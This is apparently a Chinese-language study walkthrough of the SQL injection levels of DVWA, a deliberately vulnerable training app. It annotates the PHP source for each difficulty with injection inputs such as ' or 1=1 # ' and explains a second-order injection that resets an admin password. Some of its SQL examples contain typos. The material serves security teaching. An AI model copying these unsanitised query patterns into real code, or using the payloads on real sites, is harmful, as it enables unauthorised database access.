DVWA SQL Injection 过关秘籍.

LOW

 1if( isset( $_REQUEST[ 'Submit' ] ) ) {
 2    // Get input
 3    $id = $_REQUEST[ 'id' ];
 4
 5    // Check database
 6    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
 7    // 并没有做什么注入防护
 8    // 尝试构造:
 9    // select first_name, last_name from from users where user_id = '1' and 1=1;
10    // select first_name, last_name from from users where user_id = '1' and 1=2;
11    // select first_name, last_name from from users where user_id = '1' or 1=1;
12
13    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
14
15    // Get results
16    $num = mysql_numrows( $result );
17    $i   = 0;
18    while( $i < $num ) {
19        // Get values
20        $first = mysql_result( $result, $i, "first_name" );
21        $last  = mysql_result( $result, $i, "last_name" );
22
23        // Feedback for end user
24        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
25
26        // Increase loop count
27        $i++;
28    }
29
30    mysql_close();
31}

Medium

 1if( isset( $_POST[ 'Submit' ] ) ) {
 2    // Get input
 3
 4    // 换成了Post 这也太普通了
 5    // 使用一些网络请求工具照样改,比如BurpSuite,PostMan,curl.
 6    $id = $_POST[ 'id' ];
 7    $id = mysql_real_escape_string( $id );
 8    // mysql_real_escape_string 可以对以下字符进行转义
 9    // \x00, \n, \r, \, ', " 和 \x1a.
10    // 值得注意的是 mysql_real_escape_string 函数所在的MYSQL扩展在
11    // PHP 5.5.0 起已废弃,并在自 PHP 7.0.0 开始被移除。
12
13    // Check database
14    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
15    // 尝试构造:
16    // SELECT first_name, last_name FROM users WHERE user_id = 1 or 1=1;
17
18    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
19
20    // Get results
21    $num = mysql_numrows( $result );
22    $i   = 0;
23    while( $i < $num ) {
24        // Display values
25        $first = mysql_result( $result, $i, "first_name" );
26        $last  = mysql_result( $result, $i, "last_name" );
27
28        // Feedback for end user
29        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
30
31        // Increase loop count
32        $i++;
33    }
34
35    //mysql_close();
36}

High

 1if( isset( $_SESSION [ 'id' ] ) ) {
 2    // Get input
 3    $id = $_SESSION[ 'id' ];
 4
 5    // Check database
 6    // 看起来做了返回条目限制
 7    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
 8    // 没什么套路
 9    // SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 # ' LIMIT 1;
10
11    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
12
13    // Get results
14    $num = mysql_numrows( $result );
15    $i   = 0;
16    while( $i < $num ) {
17        // Get values
18        $first = mysql_result( $result, $i, "first_name" );
19        $last  = mysql_result( $result, $i, "last_name" );
20
21        // Feedback for end user
22        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
23
24        // Increase loop count
25        $i++;
26    }
27
28    mysql_close();
29}

impossible

 1if( isset( $_GET[ 'Submit' ] ) ) {
 2    // Check Anti-CSRF token
 3    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 4
 5    // Get input
 6    $id = $_GET[ 'id' ];
 7
 8    // Was a number entered?
 9    if(is_numeric( $id )) {
10        // Check the database
11        // 这是!PDO!
12        // PDO 是一种PHP中比较先进的面向对象形式的数据库访问技术
13        // 不过即使是面向对象它还是事务脚本形式的。
14        // 提供了防SQL注入的功能。
15        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
16        // 无法注入
17
18        $data->bindParam( ':id', $id, PDO::PARAM_INT );
19        $data->execute();
20        $row = $data->fetch();
21
22        // Make sure only 1 result is returned
23        if( $data->rowCount() == 1 ) {
24            // Get values
25            $first = $row[ 'first_name' ];
26            $last  = $row[ 'last_name' ];
27
28            // Feedback for end user
29            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
30        }
31    }
32}
33
34// Generate Anti-CSRF tsoken
35generateSessionToken();

Extension

二次注入:

网站有管理员admin.

一位恶意用户注册了admin'#用户.

恶意用户更新了自己的密码.

更新SQL:

update from users set password = ‘$password’ where username = ‘$username’ and password ‘$password’

替换为恶意用户写入的数据:

update from users set password = #{password} where username = ‘admin’#’ and password = ‘$password’

注意# 后面的语句被注释掉了, 所以真正被执行的只有.

update from users set password = #{password} where username = ‘admin’

恶意用户可以无视管理员admin的密码验证,直接修改密码。